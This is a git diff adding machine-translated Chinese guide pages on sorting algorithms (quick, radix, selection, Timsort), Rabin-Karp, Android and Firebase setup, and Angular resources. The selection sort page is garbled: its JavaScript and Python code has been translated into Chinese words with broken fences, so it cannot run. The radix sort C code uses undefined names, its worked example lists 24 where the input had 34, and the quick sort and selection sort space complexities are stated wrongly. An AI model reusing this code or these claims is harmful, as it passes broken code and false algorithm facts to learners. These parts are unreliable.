--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/quick-sort/index.md
@@ -0,0 +1,146 @@
+---
+title: Quick Sort
+localeTitle: 快速排序
+---
+## 快速排序
+
+快速排序是一种有效的分而治之的排序算法。 Quick Sort的平均案例时间复杂度为O（nlog（n）），最坏情况时间复杂度为O（n ^ 2）。
+
+快速排序涉及的步骤是：
+
+*   选择一个元素作为数据透视表，在这种情况下，数组的最后一个元素是数据透视表。
+*   分区：对阵列进行排序，使得小于枢轴的所有元素都在左侧，并且所有大于枢轴的元素都在右侧。
+*   以递归方式调用Quicksort，考虑前一个枢轴以正确细分左右数组。 （更详细的解释可以在下面的评论中找到）
+
+JavaScript中的快速实现：
+
+```javascript
+const arr = [6, 2, 5, 3, 8, 7, 1, 4] 
+ 
+ const quickSort = (arr, start, end) => { 
+ 
+  if(start < end) { 
+ 
+    // You can learn about how the pivot value is derived in the comments below 
+    let pivot = partition(arr, start, end) 
+ 
+    // Make sure to read the below comments to understand why pivot - 1 and pivot + 1 are used 
+    // These are the recursive calls to quickSort 
+    quickSort(arr, start, pivot - 1) 
+    quickSort(arr, pivot + 1, end) 
+  } 
+ 
+ } 
+ 
+ const partition = (arr, start, end) => { 
+  let pivot = end 
+  // Set i to start - 1 so that it can access the first index in the event that the value at arr[0] is greater than arr[pivot] 
+  // Succeeding comments will expound upon the above comment 
+  let i = start - 1 
+  let j = start 
+ 
+  // Increment j up to the index preceding the pivot 
+  while (j < pivot) { 
+ 
+    // If the value is greater than the pivot increment j 
+    if (arr[j] > arr[pivot]) { 
+      j++ 
+    } 
+ 
+    // When the value at arr[j] is less than the pivot: 
+    // increment i (arr[i] will be a value greater than arr[pivot]) and swap the value at arr[i] and arr[j] 
+    else { 
+      i++ 
+      swap(arr, j, i) 
+      j++ 
+    } 
+ 
+  } 
+ 
+  //The value at arr[i + 1] will be greater than the value of arr[pivot] 
+  swap(arr, i + 1, pivot) 
+ 
+  //You return i + 1, as the values to the left of it are less than arr[i+1], and values to the right are greater than arr[i + 1] 
+  // As such, when the recursive quicksorts are called, the new sub arrays will not include this the previously used pivot value 
+  return i + 1 
+ } 
+ 
+ const swap = (arr, firstIndex, secondIndex) => { 
+  let temp = arr[firstIndex] 
+  arr[firstIndex] = arr[secondIndex] 
+  arr[secondIndex] = temp 
+ } 
+ 
+ quickSort(arr, 0, arr.length - 1) 
+ console.log(arr) 
+```
+
+C中的快速排序实现
+
+```C
+#include<stdio.h> 
+ void swap(int* a, int* b) 
+ { 
+    int t = *a; 
+    *a = *b; 
+    *b = t; 
+ } 
+ int partition (int arr[], int low, int high) 
+ { 
+    int pivot = arr[high]; 
+    int i = (low - 1); 
+ 
+    for (int j = low; j <= high- 1; j++) 
+    { 
+        if (arr[j] <= pivot) 
+        { 
+            i++; 
+            swap(&arr[i], &arr[j]); 
+        } 
+    } 
+    swap(&arr[i + 1], &arr[high]); 
+    return (i + 1); 
+ } 
+ void quickSort(int arr[], int low, int high) 
+ { 
+    if (low < high) 
+    { 
+        int pi = partition(arr, low, high); 
+ 
+        quickSort(arr, low, pi - 1); 
+        quickSort(arr, pi + 1, high); 
+    } 
+ } 
+ 
+ 
+ void printArray(int arr[], int size) 
+ { 
+    int i; 
+    for (i=0; i < size; i++) 
+        printf("%d ", arr[i]); 
+    printf("n"); 
+ } 
+ 
+ 
+ int main() 
+ { 
+    int arr[] = {10, 7, 8, 9, 1, 5}; 
+    int n = sizeof(arr)/sizeof(arr[0]); 
+    quickSort(arr, 0, n-1); 
+    printf("Sorted array: n"); 
+    printArray(arr, n); 
+    return 0; 
+ } 
+```
+
+快速排序的空间复杂度是O（n）。这是对其他分治和征服排序算法的改进，它采用O（nlong（n））空间。快速排序通过更改给定数组中元素的顺序来实现此目的。将其与[合并排序](https://guide.freecodecamp.org/algorithms/sorting-algorithms/merge-sort)算法进行比较，该算法在每个函数调用中创建2个数组，每个数组长度为n / 2。
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Quicksort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/quick-sort)
+    
+*   [Youtube：Quicksort的视觉解释](https://www.youtube.com/watch?v=MZaf_9IZCrc)
+    
+*   [Youtube：Gayle Laakmann McDowell（Cracking The Coding Interview的作者）解释了quicksort的基础知识并展示了一些实现](https://www.youtube.com/watch?v=SLauY6PpjW4)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/radix-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/radix-sort/index.md
new file mode 100644
index 0000000000..704255ecbe
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/radix-sort/index.md
@@ -0,0 +1,111 @@
+---
+title: Radix Sort
+localeTitle: 基数排序
+---
+## 基数排序
+
+先决条件：计数排序
+
+QuickSort，MergeSort，HeapSort是基于比较的排序算法。 CountSort不是基于比较的算法。它具有O（n + k）的复杂度，其中k是输入数组的最大元素。 因此，如果k是O（n），则CountSort变为线性排序，这比具有O（nlogn）时间复杂度的基于比较的排序算法更好。 当k变为O（n2）时，想法是扩展CountSort算法以获得更好的时间复杂度。 这是Radix Sort的想法。
+
+算法：
+
+对于每个数字i，其中i从最低有效数字到数字的最高有效数字变化 使用countort算法根据第i位数对输入数组进行排序。 我们使用count sort，因为它是一个稳定的排序。
+
+示例：假设输入数组是：
+
+10,21,17,34,44,11,654,123
+
+基于该算法，我们将根据一个数字（最低有效数字）对输入数组进行排序。
+
+0:10  
+1:21 11  
+2：  
+3：123  
+4：34 44 654  
+5：  
+6：  
+7:17  
+8：  
+9：  
+
+因此，阵列变为10,21,11,123,24,44,654,17 现在，我们将根据十位数进行排序：
+
+0：  
+1:10 11 17  
+2：21 123  
+3:34  
+4:44  
+5：654  
+6：  
+7：  
+8：  
+9：
+
+现在，阵列变为：10,11,17,21,123,34,44,654 最后，我们按照百位数（最高位数）进行排序：
+
+0：010 011 017 021 034 044  
+1：123  
+2：  
+3：  
+4：  
+5：  
+6：654  
+7：  
+8：  
+9：
+
+该数组变为：10,11,17,21,34,44,123,654，它被排序。这就是我们的算法的工作方式。
+
+C中的实现：
+```
+void countsort(int arr[],int n,int place){ 
+ 
+        int i,freq[range]={0};         //range for integers is 10 as digits range from 0-9 
+ 
+        int output[n]; 
+ 
+        for(i=0;i<n;i++) 
+ 
+                freq[(arr[i]/place)%range]++; 
+ 
+        for(i=1;i<range;i++) 
+ 
+                freq[i]+=freq[i-1]; 
+ 
+        for(i=n-1;i>=0;i--){ 
+ 
+                output[freq[(arr[i]/place)%range]-1]=arr[i]; 
+ 
+                freq[(arr[i]/place)%range]--; 
+ 
+        } 
+ 
+        for(i=0;i<n;i++) 
+ 
+                arr[i]=output[i]; 
+ 
+ } 
+ 
+ void radixsort(ll arr[],int n,int maxx){            //maxx is the maximum element in the array 
+ 
+        int mul=1; 
+ 
+        while(maxx){ 
+ 
+                countsort(arr,n,mul); 
+ 
+                mul*=10; 
+ 
+                maxx/=10; 
+ 
+        } 
+ 
+ } 
+```
+
+### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Radix_sort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/radix-sort/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/selection-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/selection-sort/index.md
new file mode 100644
index 0000000000..c5a8368b29
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/selection-sort/index.md
@@ -0,0 +1,67 @@
+---
+title: Selection Sort
+localeTitle: 选择排序
+---
+## 选择排序
+
+Selection Sort是最简单的排序算法之一。它按以下方式工作，
+
+1.  找到最小的元素。用第一个元素交换它。
+2.  找到第二个最小的元素。用第二个元素交换它。
+3.  找到第三个最小的元素。用第三个元素交换它。
+4.  重复查找下一个最小元素并将其交换到相应的正确位置，直到对数组进行排序。
+
+正如您所猜测的，此算法称为选择排序，因为它重复选择下一个最小元素并将其交换到其位置。
+
+但是，您如何编写代码来查找数组中第二个最小值的索引？
+
+*   一种简单的方法是注意到最小值已经被交换到索引0中，因此问题减少到从索引1开始查找数组中的最小元素。
+
+### 在C / C ++中实现
+
+```C
+for(int i = 0; i < n; i++) 
+ { 
+    int min_index = i; 
+    int min_element = a[i]; 
+ 
+    for(int j = i +1; j < n; j++) 
+    { 
+        if(a[j] < min_element) 
+        { 
+            min_element = a[j]; 
+            min_index = j; 
+        } 
+    } 
+ 
+    swap(&a[i], &a[min_index]); 
+ } 
+```
+
+### 在Javascript中实现
+
+\`\`\`Javascript 功能选择_排序（A）{ var len =数组_长度（A）; for（var i = 0; i <len - 1; i = i + 1）{ var j _min = i; for（var j = i + 1; j <len; j = j + 1）{ if（A \[j\] <A \[j_ min\]）{ j _min = j; } else {} } if（j_ min！== i）{ 交换（A，i，j\_min）; } else {} } }
+
+函数交换（A，x，y）{ var temp = A \[x\]; A \[x\] = A \[y\]; A \[y\] = temp; }
+```
+### Implementation in Python 
+```
+
+蟒蛇 def seletion _sort（arr）： 如果不是arr： 回归 对于范围内的我（len（arr））： min_ i = i 对于范围内的j（i + 1，len（arr））： 如果arr \[j\] <arr \[min _i\]： min_ i = j arr \[i\]，arr \[min _i\] = arr \[min_ i\]，arr \[i\] \`\`\`
+
+### 属性
+
+*   空间复杂度： **O（n）**
+*   时间复杂度： **O（n 2 ）**
+*   按位排序： **是的**
+*   稳定： **没有**
+
+### 可视化
+
+*   [USFCA](https://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html)
+*   [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/selection-sort/visualize/)
+
+### 参考
+
+*   [维基百科](https://en.wikipedia.org/wiki/Selection_sort)
+*   [可汗学院](https://www.khanacademy.org/computing/computer-science/algorithms#sorting-algorithms)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/timsort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/timsort/index.md
new file mode 100644
index 0000000000..e702f603bb
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/timsort/index.md
@@ -0,0 +1,112 @@
+---
+title: Timsort
+localeTitle: Timsort
+---
+## Timsort
+
+Timsort是一种快速排序算法，在稳定的O（N log（N））复杂度下工作
+
+Timsort融合了Insertion Sort和Mergesort。该算法在Java的Arrays.sort（）以及Python的sorted（）和sort（）中实现。 较小的部分使用Insertion Sort进行排序，稍后使用Mergesort合并在一起。
+
+Python中的快速实现：
+```
+def binary_search(the_array, item, start, end): 
+    if start == end: 
+        if the_array[start] > item: 
+            return start 
+        else: 
+            return start + 1 
+    if start > end: 
+        return start 
+ 
+    mid = round((start + end)/ 2) 
+ 
+    if the_array[mid] < item: 
+        return binary_search(the_array, item, mid + 1, end) 
+ 
+    elif the_array[mid] > item: 
+        return binary_search(the_array, item, start, mid - 1) 
+ 
+    else: 
+        return mid 
+ 
+ """ 
+ Insertion sort that timsort uses if the array size is small or if 
+ the size of the "run" is small 
+ """ 
+ def insertion_sort(the_array): 
+    l = len(the_array) 
+    for index in range(1, l): 
+        value = the_array[index] 
+        pos = binary_search(the_array, value, 0, index - 1) 
+        the_array = the_array[:pos] + [value] + the_array[pos:index] + the_array[index+1:] 
+    return the_array 
+ 
+ def merge(left, right): 
+    """Takes two sorted lists and returns a single sorted list by comparing the 
+    elements one at a time. 
+    [1, 2, 3, 4, 5, 6] 
+    """ 
+    if not left: 
+        return right 
+    if not right: 
+        return left 
+    if left[0] < right[0]: 
+        return [left[0]] + merge(left[1:], right) 
+    return [right[0]] + merge(left, right[1:]) 
+ 
+ def timsort(the_array): 
+    runs, sorted_runs = [], [] 
+    length = len(the_array) 
+    new_run = [the_array[0]] 
+ 
+    # for every i in the range of 1 to length of array 
+    for i in range(1, length): 
+        # if i is at the end of the list 
+        if i == length - 1: 
+            new_run.append(the_array[i]) 
+            runs.append(new_run) 
+            break 
+        # if the i'th element of the array is less than the one before it 
+        if the_array[i] < the_array[i-1]: 
+            # if new_run is set to None (NULL) 
+            if not new_run: 
+                runs.append([the_array[i]]) 
+                new_run.append(the_array[i]) 
+            else: 
+                runs.append(new_run) 
+                new_run = [] 
+        # else if its equal to or more than 
+        else: 
+            new_run.append(the_array[i]) 
+ 
+    # for every item in runs, append it using insertion sort 
+    for item in runs: 
+        sorted_runs.append(insertion_sort(item)) 
+ 
+    # for every run in sorted_runs, merge them 
+    sorted_array = [] 
+    for run in sorted_runs: 
+        sorted_array = merge(sorted_array, run) 
+ 
+    print(sorted_array) 
+ 
+ timsort([2, 3, 1, 5, 6, 7]) 
+```
+
+#### 复杂：
+
+Tim sort具有稳定的O复杂度（N log（N）），与Quicksort相比非常好。 在这张[图表](https://cdn-images-1.medium.com/max/1600/1*1CkG3c4mZGswDShAV9eHbQ.png)上可以找到一个复杂的混合体
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Timsort)
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/timsort/)
+    
+*   [Youtube：Quicksort的视觉解释](https://www.youtube.com/watch?v=jVXsjswWo44)
+    
+
+#### 积分：
+
+[Python实现](https://hackernoon.com/timsort-the-fastest-sorting-algorithm-youve-never-heard-of-36b28417f399)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md b/client/src/guide/chinese/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md
new file mode 100644
index 0000000000..3c5708579e
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md
@@ -0,0 +1,46 @@
+---
+title: Rabin Karp Algorithm
+localeTitle: 拉宾卡普算法
+---
+## Rabin-Karp算法
+
+*   由Michael O. Rabin和Richard M. Karp开发的字符串匹配/搜索算法。
+*   使用**_散列_**技术和**_蛮力_**进行比较。
+
+#### 重要条款
+
+*   **_pattern_**是要搜索的字符串。 将模式长度视为**_M个_**字符。
+*   **_text_**是要从中搜索模式的整个文本。 将文本长度视为**_N个_**字符。
+
+#### 什么是蛮力比较？
+
+在强力比较中，将模式的每个字符与文本的每个字符进行比较，直到找到不匹配的字符。
+
+#### Rabin-Karp算法的工作
+
+1.  计算_模式的_哈希值
+2.  计算_文本_前_M个_字符的哈希值
+3.  比较两个哈希值
+4.  如果它们不相等，则为下一个_M_字符的_文本_计算哈希值并再次进行比较。
+5.  如果它们相等，则执行强力比较。
+```
+hash_p = hash value of pattern 
+ hash_t = hash value of first M letters in body of text 
+ do 
+    if (hash_p == hash_t) 
+        brute force comparison of pattern and selected section of text 
+    hash_t= hash value of next section of text, one character over 
+ while (end of text or brute force comparison == true) 
+```
+
+#### 优于天真串匹配算法
+
+该技术仅导致每个文本子序列进行一次比较，并且仅在哈希值匹配时才需要强力。
+
+#### 应用
+
+*   **_抄袭检测_**
+
+#### 更多信息：
+
+[维基百科上的Rabin-Karp](https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_algorithm/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/android-development/core-components/index.md b/client/src/guide/chinese/android-development/core-components/index.md
new file mode 100644
index 0000000000..4f2216b911
--- /dev/null
+++ b/client/src/guide/chinese/android-development/core-components/index.md
@@ -0,0 +1,32 @@
+---
+title: Android core components
+localeTitle: Android核心组件
+---
# Android核心组件
+
+核心组件是Android应用程序所必需的基本元素。他们每个人都有自己的目的和生命周期，但并非所有人都是独立的。他们是：
+
+*   活动
+*   服务
+*   广播接收器
+*   内容提供商
+
+## [活动](https://developer.android.com/guide/components/activities/)
+
+_活动_是具有用户界面并代表单个屏幕的组件。应用程序可以有多个活动，每个活动都可以是应用程序本身为用户或系统的入口点（应用程序的活动想要打开属于同一应用程序或不同应用程序的另一个活动）。
+
+## [服务](https://developer.android.com/guide/components/services)
+
+_服务_是没有用户界面的组件，用于在后台执行长时间运行的操作。 有两种服务：
+
+*   _前台_服务：它们与用户的交互（例如音乐播放）严格相关，因此系统很难杀死它们。
+*   _后台_服务：它们与用户的活动没有直接关系，因此如果需要更多RAM，它们可能会被杀死。
+
+## [广播接收器](https://developer.android.com/guide/components/broadcasts)
+
+_广播接收器_是另一个没有用户界面的组件（除了可选的状态栏通知），它允许系统从应用程序传送事件，即使后者之前没有启动过。
+
+## [内容提供商](https://developer.android.com/guide/topics/providers/content-providers)
+
+_内容提供程序_是用于管理要与其他应用程序共享的一组应用程序数据的组件。保存在内容提供者中的每个项目由URI方案标识。
+
+有关该主题的详细信息，请参阅官方[Android基础](https://developer.android.com/guide/components/fundamentals)文档
\ No newline at end of file
diff --git a/client/src/guide/chinese/android-development/firebase/connect-to-firebase/index.md b/client/src/guide/chinese/android-development/firebase/connect-to-firebase/index.md
new file mode 100644
index 0000000000..8fb9f30638
--- /dev/null
+++ b/client/src/guide/chinese/android-development/firebase/connect-to-firebase/index.md
@@ -0,0 +1,40 @@
+---
+title: connecting-to-firebase
+localeTitle: 连接到火力
+---
+# 先决条件
+
+1.  Android Studio的最新版本
+
+连接到firebase的最简单方法是使用firebase助手。
+
+# 1.使用Firebase助手进行连接
+
+1.  在[Firebase控制台中](https://console.firebase.google.com)创建一个帐户。 单击添加项目以将Android Studio项目添加到其中。
+    
+2.  安装Google Repository 您可以通过将依赖项添加到项目级build.gradle文件中来执行此操作，如下所示：
+    
+
+```java
+allprojects{ 
+  repositories { 
+        maven { 
+            url "https://maven.google.com" // Google's Maven repository 
+        } 
+    } 
+ } 
+```
+
+或者，您可以[使用GUI](https://developer.android.com/studio/write/firebase)执行此[操作](https://developer.android.com/studio/write/firebase) 。
+
+3.  转到工具> Firebase，然后选择连接到Firebase
+
+如果您希望手动连接到firebase，可以[在此处](https://firebase.google.com/docs/android/setup)获取详细说明。 将Android Studio项目连接到Firebase后，您也可以
+
+1.  点击firebase助手中的产品，然后转到Google文档，在那里您将被告知如何继续操作
+2.  转到控制台中的**项目概述**中的所需产品，然后单击**“开始使用”**
+3.  转到[Firebase文档](https://www.firebase.com/docs/android/quickstart.html) ，了解如何在项目中设置单个产品
+
+读取所有这三者的组合将使您能够设置产品，其中包括向build.gradle文件添加合适的依赖项。
+
+**如果您遇到Gradle Sync** 尝试更改Firebase核心版本或Firebase数据库版本
\ No newline at end of file
diff --git a/client/src/guide/chinese/android-development/firebase/firebase-storage/setup/index.md b/client/src/guide/chinese/android-development/firebase/firebase-storage/setup/index.md
new file mode 100644
index 0000000000..da9af44eeb
--- /dev/null
+++ b/client/src/guide/chinese/android-development/firebase/firebase-storage/setup/index.md
@@ -0,0 +1,51 @@
+---
+title: Setting up Firebase Storage
+localeTitle: 设置Firebase存储
+---
+# 设置Firebase存储
+
+## 先决条件
+
+1.  最新版本的Android Studio
+2.  已手动或通过Firebase助手与Firebase连接（请参阅[连接到Firebase](guide/src/pages/android-development/firebase/connecting-to-firebase) ）。
+
+建议您这样做，以免在下面提到的文档中与此相关的部分说明混淆。
+
+## 使用Android Studio进行设置
+
+将Firebase添加到项目后，您需要添加额外的依赖项并执行其他操作才能进行设置 Firebase存储。有以下文档：
+
+*   [火力地堡](https://firebase.google.com/docs/storage/android/start)
+
+该文档中可能存在混淆的可能性，或者如果您是firebase的新手，那么您可能会面临一些难以理解的问题。 因此，请仔细遵循以下步骤：
+
+**添加Gradle依赖项**
+
+在app-level build.gradle文件中，添加以下内容
+
+```java
+dependencies { 
+    implementation 'com.google.firebase:firebase-storage:16.0.2' 
+ } 
+```
+
+## 安装Firebase Android SDK，权限和设置代码
+
+有关这些的详细说明，请[访问此处](https://firebase.google.com/docs/android/setup) 。
+
+## 资源
+
+要了解如何在Android应用程序中读取和写入存储，请参阅下面列出的文档。
+
+*   [从Android上传文件 Firebase指南](https://firebase.google.com/docs/storage/android/upload-files)
+    
+*   [将文件下载到Android Firebase指南](https://firebase.google.com/docs/storage/android/download-files)
+    
+
+## Firebase开发人员的示例项目
+
+您可以从Firebase开发人员处获取这些示例，以启动Firebase存储 Firebase Quickstart-Android [android-sample](https://github.com/firebase/quickstart-android/tree/master/storage)
+
+## 注意
+
+谷歌现在弃用“编译”而代替你需要使用“实现”。
\ No newline at end of file
diff --git a/client/src/guide/chinese/android-development/firebase/realtime-database/setup/index.md b/client/src/guide/chinese/android-development/firebase/realtime-database/setup/index.md
new file mode 100644
index 0000000000..5b8d8baee7
--- /dev/null
+++ b/client/src/guide/chinese/android-development/firebase/realtime-database/setup/index.md
@@ -0,0 +1,43 @@
+---
+title: Setting up Firebase Realtime Database
+localeTitle: 设置Firebase实时数据库
+---
+# 先决条件
+
+1.  最新版本的Android Studio
+2.  已手动或通过Firebase助手与Firebase连接（请参阅[连接到Firebase](guide/src/pages/android-development/firebase/connecting-to-firebase) ）。 建议您这样做，以免在下面提到的文档中与此相关的部分说明混淆。
+
+# 使用Android Studio进行设置
+
+将Firebase添加到项目后，您需要添加额外的依赖项并执行其他操作才能进行设置 实时数据库。有两个关于此的文件：
+
+1.  Firebase快速入门[文档](https://www.firebase.com/docs/android/quickstart.html)
+2.  谷歌[文档](https://firebase.google.com/docs/database/android/start/)
+
+两者之间存在一些差异。 要弥补它们，您可以按照Firebase文档进行操作，但不要只使用其中列出的gradle依赖项，而是使用以下列表。 这样，您就不会错过任何文档中的任何步骤。
+
+**添加Gradle依赖项** 1 在app-level build.gradle文件中，添加以下内容
+
+```java
+dependencies { 
+    implementation 'com.firebase:firebase-client-android:2.5.2+' 
+    implementation 'com.google.firebase:firebase-database:15.0.0' 
+ } 
+```
+
+# 安装Firebase Android SDK，权限和设置代码
+
+有关这些的详细说明，请[访问此处](https://www.firebase.com/docs/android/quickstart.html) 。
+
+# 资源
+
+要了解如何在Android应用程序中读取和写入数据库，请参阅参考资料中列出的两个文档。 您还可以在Google文档中了解如何使用Firebase产品，但同样也可以查看Firebase文档或任何可能有用的文档。
+
+# 参考
+
+*   FIREBASE， _Android快速入门_ ，17/04 / 201,07 / 05/201，https：//www.firebase.com/docs/android/quickstart.html
+*   GOOGLE， _为Android设置Firebase实时数据库_ ，05/04 / 201,07 / 05/201，https：//firebase.google.com/docs/database/android/start/
+
+# 脚注
+
+第一行来自Firebase [文档，介绍](https://www.firebase.com/docs/android/quickstart.html)如何在Android Studio中设置实时数据库。 在文档中，使用了'compile'，但不推荐使用'compile'并将其替换为'implementation'。 第二行来自谷歌[文档](https://firebase.google.com/docs/database/android/start/) ，在Android Studio中设置实时数据库。 如果添加两者实际上是多余的，请更正本文。
\ No newline at end of file
diff --git a/client/src/guide/chinese/android-development/index.md b/client/src/guide/chinese/android-development/index.md
new file mode 100644
index 0000000000..016744f450
--- /dev/null
+++ b/client/src/guide/chinese/android-development/index.md
@@ -0,0 +1,63 @@
+---
+title: Android Development
+localeTitle: Android开发
+---
+# Android开发
+
+Android应用程序可以成为进入编程世界的一种有趣的方式。官方程序员可以使用Java，Kotlin或C ++为Android开发，虽然可能存在API限制，但使用工具，开发人员可以使用大量语言，包括JavaScript，C或汇编，并且可能性无穷无尽。
+
+从简单的游戏和实用程序应用程序到成熟的音乐播放器，有很多机会可以用Android创建有意义的东西。 Android开发人员社区很普遍，在线文档和资源很容易找到，因此您可以解决您遇到的任何问题。
+
+肯定有一种习惯于Android框架的学习曲线，但是一旦你理解了构成应用程序的核心组件，剩下的就会自然而然地出现。
+
+与学习NodeJS等其他技术相比，Android中涉及的学习曲线具有相对较小的斜率。了解并为Google托管的AOSP做出贡献也相对容易一些。该项目可以在[这里](https://source.android.com/)找到
+
+## 入门
+
+查看此文件夹中的指南，了解构成Android应用程序的4个[核心组件](core-components/index.md)以及如何开始使用示例应用程序，然后深入研究更高级的主题，例如片段和Gradle构建系统。然后查看材料设计规范指南以了解如何使您的应用程序美观且用户友好。
+
+### Android Studio的设置和入门
+
+转到此[链接](https://www.oracle.com/technetwork/java/javase/downloads/index.html)并安装最新的JDK。 现在从[这里](https://developer.android.com/studio/)下载Android Studio和SDK工具包。 按照设置安装Android Studio和SDK。记下SDK位置。 如果您遇到任何错误，请稍后再进行设置以解决问题。
+
+最后，学习集成第三方库和Firebase服务，为您的应用添加功能。如果您浏览每个组件的官方文档，将会很有帮助。
+
+### 官方文件
+
+[适用于Android的Google Developers Guide](https://developer.android.com/training/index.html)
+
+#### Java与Kotlin
+
+自从Google于2017年宣布Kotlin成为Google IO的Android开发官方语言以来，想要成为Android开发人员的程序员处于两难境地。他们面前的一个重要问题是他们是否应该学习Kotlin或Java。
+
+##### Android开发中的初学者应该从Java开始
+
+首先，Android开发并非一切;作为一名程序员，你可能正在开始你的Android开发职业生涯，但如果你从像Java这样完善的语言开始，你就会成为更大的Java社区和市场的一部分，这直接意味着更多的工作机会。
+
+第二个也是更重要的是，有一个庞大的Java程序员社区，这意味着你可以在遇到困难时找到答案。这非常重要，因为作为一个初学者，你将面临很多技术问题，当你遇到困难时，你可能不知道应该去哪里。当您使用Java问题搜索Google时，您一定会得到答案;同样不能说Kotlin，它仍然是一种新的编程语言。
+
+###### Java程序员应该学习Kotlin
+
+现在，回到第二组想要学习Android开发的程序员：我们的Java开发人员。对他们来说，我认为最好学习Kotlin，因为它确实提高了生产力。
+
+在Java中使用50行代码的类实际上只能在Kotlin中用一行编写。它可以帮助您避免所有样板代码，例如，您不需要指定getter和setter，equals（），hashCode（）或toString（）方法。 Kotlin可以自己生成所有这些。
+
+如果您不知道，Kotlin是JetBrains开发的，JetBrains是最受欢迎的Java IDE之一，即IntelliJ IDEA。他们是Java商店，开发像IntelliJ IDEA，PyCharm和ReSharper这样的IDE，都是用Java编写的，并且构建了Kotlin以提高他们的生产力，但同时，他们无法在Kotlin中重写所有代码，所以这就是他们制作Kotlin的原因。与Java完全互操作。
+
+因为Kotlin生成Java字节码，您可以在Kotlin中使用您喜欢的Java框架和库，您的Java朋友也可以使用您开发的任何Kotlin框架。
+
+### 实践
+
+[用于提升技能的Codelabs](https://codelabs.developers.google.com)
+
+### Google Developer Console
+
+[Google Developer Console](https://developer.android.com/distribute/console/)
+
+### 课程
+
+[Udacity Android Nanodegree计划](https://udacity.com/course/android-developer-nanodegree-by-google--nd801)
+
+### 开发Android应用程序
+
+学习Android的最好的部分是在线提供的课程和材料是免费的。 该课程的链接在这里 - [开发Android应用程序](https://udacity.com/course/new-android-fundamentals--ud851) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/angular-resources/index.md b/client/src/guide/chinese/angular/angular-resources/index.md
new file mode 100644
index 0000000000..ca9cbc7758
--- /dev/null
+++ b/client/src/guide/chinese/angular/angular-resources/index.md
@@ -0,0 +1,44 @@
+---
+title: Angular Resources
+localeTitle: 角度资源
+---
+一组有用的Angular资源
+
+## Angular 1.x
+
+### 一般页面
+
+*   [Angular JS](https://angularjs.org/) - Angular JS主页
+*   [AngularJS样式指南](https://github.com/johnpapa/angular-styleguide/tree/master/a1) - Angular Development的详细最佳实践
+
+### 影片
+
+*   [Angular JS中的路由](https://www.youtube.com/watch?v=5uhZCc0j9RY) - 15分钟内的客户端路由
+*   [Angular ToDo应用程序](https://www.youtube.com/watch?v=WuiHuZq_cg4) - 12分钟内的Angular ToDo应用程序
+
+### 课程
+
+*   [Egghead.io AngularJS课程（$）](https://egghead.io/browse/frameworks/angularjs)
+
+## Angular 2.x +
+
+### 一般页面
+
+*   [Angular](https://angular.io/) - Angular主页
+*   [角度风格指南](https://angular.io/guide/styleguide) - 角度开发的详细最佳实践
+
+### 特定主题页面
+
+*   [指令](http://www.sitepoint.com/practical-guide-angularjs-directives/) - 关于角度指令的详细指南（第1部分）
+
+### 课程
+
+*   [Egghead.io Angular课程（$）](https://egghead.io/browse/frameworks/angular)
+*   [FrontendMasters - 使用Angular构建Awesomer应用程序](https://frontendmasters.com/courses/building-apps-angular)
+*   [Ultimate Angular - Todd Motto](https://ultimateangular.com/)
+*   [Angular 6（原名Angular 2） - 完整指南（$）MaximilianSchwarzmüller](https://www.udemy.com/the-complete-guide-to-angular-2/)
+
+## 博客
+
+*   [Alligator.io](https://alligator.io/angular/)
+*   [角度深度](https://blog.angularindepth.com/tagged/angular)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/animations/index.md b/client/src/guide/chinese/angular/animations/index.md
new file mode 100644
index 0000000000..9def9b3ce0
--- /dev/null
+++ b/client/src/guide/chinese/angular/animations/index.md
@@ -0,0 +1,290 @@
+---
+title: Animations
+localeTitle: 动画
+---
+# 动画
+
+#### 动机
+
+现代Web组件经常使用动画。级联样式表（CSS）为开发人员提供了创建令人印象深刻的动画的工具。使用CSS可以实现属性转换，唯一命名的动画，多部分关键帧。由于CSS，动画可能性是无穷无尽的。
+
+在现代Web应用程序中，动画集中了用户的注意力。良好的动画旨在以令人满意的，富有成效的方式引导用户的注意力。动画不应该对用户造成烦扰。
+
+动画以动作的形式提供反馈。它们向用户显示应用程序正在主动处理其请求。当应用程序必须加载时，像可见按钮按下或加载器这样简单的东西会吸引用户的注意力。
+
+动画在Angular的案例中继续变得越来越重要。 Google在推广Material Design理念的同时开发了Angular。它鼓励简洁的用户界面（UI），并辅以动画用户反馈。它使Web应用程序感觉有点活泼，使用起来很有趣。
+
+Angular社区开发了一个名为[Material2](https://github.com/angular/material2)的核心小部件库。该项目为Angular添加了各种小部件模块。其中大多数都以动画为特色。为了理解它们的工作原理，本文建议在阅读之前研究CSS动画。
+
+角度动画是CSS原生提供的框架的简化版本。 CSS是Web浏览器中出现的Angular动画的核心技术。但CSS超出了本文的范围。是时候正面处理Angular动画了。
+
+#### 设置动画
+
+在制作动画之前， `BrowserAnimationsModule`必须包含在根模块的imports数组中。它可以从`@angular/platform-browser/animations` 。此NgModule可确保动画适用于给定平台。本文假定每个示例的标准Web浏览器。
+
